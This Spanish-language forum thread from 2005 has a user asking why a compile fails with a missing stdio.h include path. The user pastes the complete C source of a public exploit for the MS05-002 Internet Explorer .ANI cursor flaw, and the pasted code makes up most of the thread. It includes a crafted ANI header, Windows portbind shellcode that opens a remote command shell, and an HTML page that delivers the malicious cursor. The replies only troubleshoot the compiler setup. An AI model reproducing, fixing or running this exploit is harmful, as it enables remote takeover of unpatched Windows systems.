Foros de daboweb

MULTIMEDIA, Video digital, Grabación, Diseño gráfico, Diseño web, Programación => Webmasters - Diseño Web - Programación - Diseño gráfico => Mensaje iniciado por: sharkblack en 24 de Julio de 2005, 12:35:01 am

Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: sharkblack en 24 de Julio de 2005, 12:35:01 am
Hola amigos, bueno, no soy nuevo  :wink:  ,pero en el foro de c, si lo soy  :D , con lo que os voy a pedir mi primera ayuda en este lenguaje.
Resulta que estoy intentando compilar y me dá el siguiente error:

prueba.c (86) : fatal error C1034: stdio.h: no include path set

sin embargo he comprobado que si tengo instalado dicho fichero, e inclusive lo he copiado justo en la carpeta donde compilo, utilizo el famoso cl.exe

Bueno, os espero vuestras respuestas. Gracias ante todo. Un saludo.
Título: Re: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: jirho en 25 de Julio de 2005, 09:52:48 pm
...y lo inclueyes en el programa?...#include <stdio.h>...si es faltarian mas datos porque no veo el error...
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: sharkblack en 26 de Julio de 2005, 03:40:43 pm
lo incluyo.  :cry:  Que puedo hacer, para saber donde está el error.
Gracias.
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: Liamngls en 26 de Julio de 2005, 03:43:13 pm
Creo que sería mejor si pusieras el código :roll:
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: sharkblack en 26 de Julio de 2005, 07:12:59 pm
ok, os pongo el código, (es un xploits) os aviso, nada más, pero vuelo a recordaros a todos, no soy maligno  :wink: , sino que quiero aprender el funcionamiento y saber defenderme. ok. solo quería recordarlo por si alguno/a, pensais mal, nada más. gracias de nuevo y un abrazo.

Codigo:



#include <stdio.h>
#include <stdlib.h>


/* ANI header */
unsigned char aniheader[] =
"\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

/* jmp offset, no Jitsu */
"\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90"
"\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00"
"\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00"
"\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00"
"\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00"
"\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00"
"\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


/* portbind shellcode */
unsigned char shellcode[] =
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
"\x28\xff\x55\x0c";

#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port)

unsigned char discl[] =
"This is provided as proof-of-concept code only for
educational"
" purposes and testing by authorized individuals with
permission"
" to do so.";

unsigned char html[] =
"<html>\n"
"(MS05-002) Microsoft Internet Explorer .ANI Files Handling
Exploit"
"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href
=\""
"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">"
"Patch (MS05-002)</a>\n"
"&lt;script&gt;alert(\"%s\")&lt;/script&gt;\n<head>\n\t<style>\n"
"\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n"
"</html>";


unsigned short
fixx(unsigned short p)
{
unsigned short r = 0;
r  = (p & 0xFF00) >> 8;
r |= (p & 0x00FF) << 8;

return r;
}

void
usage(char *prog)
{
printf("Usage:\n");
printf("%s <file> <bindport>\n\n", prog);
exit(0);
}


int
main(int argc, char **argv)
{
FILE *fp;
unsigned short port;
unsigned char f[256+5] = "";
unsigned char anib[912] = "";


printf("\n(MS05-002) Microsoft Internet Explorer .ANI
Files Handling Exploit\n\n");
printf("\tCopyright (c) 2004-2005 .: houseofdabus
:.\n\n\n");
printf("Tested on all affected systems:\n");
printf("  
SP1, SP0\n");
printf("  

printf("%s\n\n", discl);
if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {
printf("[-] Size of shellcode must be <= 686
bytes\n");
return 0;
}
if (argc < 3) usage(argv[0]);

if (strlen(argv[1]) > 256) {
printf("[-] Size of filename must be <=256
bytes\n");
return 0;
}

/* creating ani file */
strcpy(f, argv[1]);
strcat(f, ".ani");
printf("
fp = fopen(f, "wb");
if (fp == NULL) {
printf("\n[-] error: can\'t create file: %s\n", f);
return 0;
}
memset(anib, 0x90, 912);

/* header */
memcpy(anib, aniheader, sizeof(aniheader)-1);
/* shellcode */
port = atoi(argv[2]);
SET_PORTBIND_PORT(shellcode, fixx(port));
memcpy(anib+sizeof(aniheader)-1, shellcode,
sizeof(shellcode)-1);

fwrite(anib, 1, 912, fp);
printf(" Ok\n");
fclose(fp);

/* creating html file */
f[0] = '\0';
strcpy(f, argv[1]);
strcat(f, ".html");
printf("
fp = fopen(f, "wb");
if (fp == NULL) {
printf("\n[-] error: can\'t create file: %s\n", f);
return 0;
}
sprintf(anib, html, discl, argv[1]);
fwrite(anib, 1, strlen(anib), fp);
printf(" Ok\n");
fclose(fp);

return 0;
}
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: jirho en 29 de Julio de 2005, 12:48:48 am
...y es el unico error que sale?, aunque nunca e trabajado un codigo asi, lo veo un poco raro, en la asignacion de cadenas...tendria que probralo...
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: sharkblack en 29 de Julio de 2005, 06:16:24 pm
es el único error, solo lo copie para compilarlo y ver el funcionamiento, y me da ese error, y no lo entiendo pues está incluido.
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: shicefgo en 01 de Agosto de 2005, 08:44:50 am
Es raro el error, pero por intentar aportar algo:

Parece que lo da en la línea 86 (corregidme si el nº no se refiere a la línea de código).
Código: [Seleccionar]
prueba.c (86) : fatal error C1034: stdio.h: no include path set


¿Qué hay en la línea nº 86 y en el bloque de código que la contiene?

Lo mismo alguien "ve algo de luz" a partir de ahí...
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: sharkblack en 10 de Agosto de 2005, 07:57:04 pm
Nada por mucho que lo intento buscar el error, no lo entiendo, aparentemente ,está bien escrito, y no me compila  :cry:
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: shicefgo en 11 de Agosto de 2005, 12:49:21 pm
Otra especulación:

Me quiere parecer (suponiendo que mi cuenta esté bien) que la línea del error es:
Código: [Seleccionar]
FILE *fp;

Aunque tengas las cabeceras (los .h) correctamente instalados, ¿qué tal las librerías de enlace?

Es decir, la posibilidad de que el programa no enlace (compile) bien, aunque el código fuente esté correcto y los fuentes de las librerías también, no sé si me he explicado.

¿Has probado a reinstalar el compilador y/o a especificar correctamente los caminos (PATH) a las librerías binarias (no fuentes) del mismo?

De momento no se me ocurren más cosas... :roll:

Salu2.
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: ladyblues en 11 de Agosto de 2005, 04:38:38 pm
Hola!!
Me vas a perdonar la osadía pero no puedo resistirme:

¿Qué Sistema Operativo usas y con qué compilas?

Saludos.
Mabel.
Título: Me dá error al compilar (error stdio.h) Ayuda!!!
Publicado por: jirho en 15 de Agosto de 2005, 09:37:46 pm
... :oops: ...ladyblues...osadia, nada de eso, antes perdonaras el desorden, esque el tiempo me tiene cojido y no he podido ordenar bien las cosas...  :) ...

...amigo...no veo f, estas seguro que es el camino coorecto al nombre del archivo...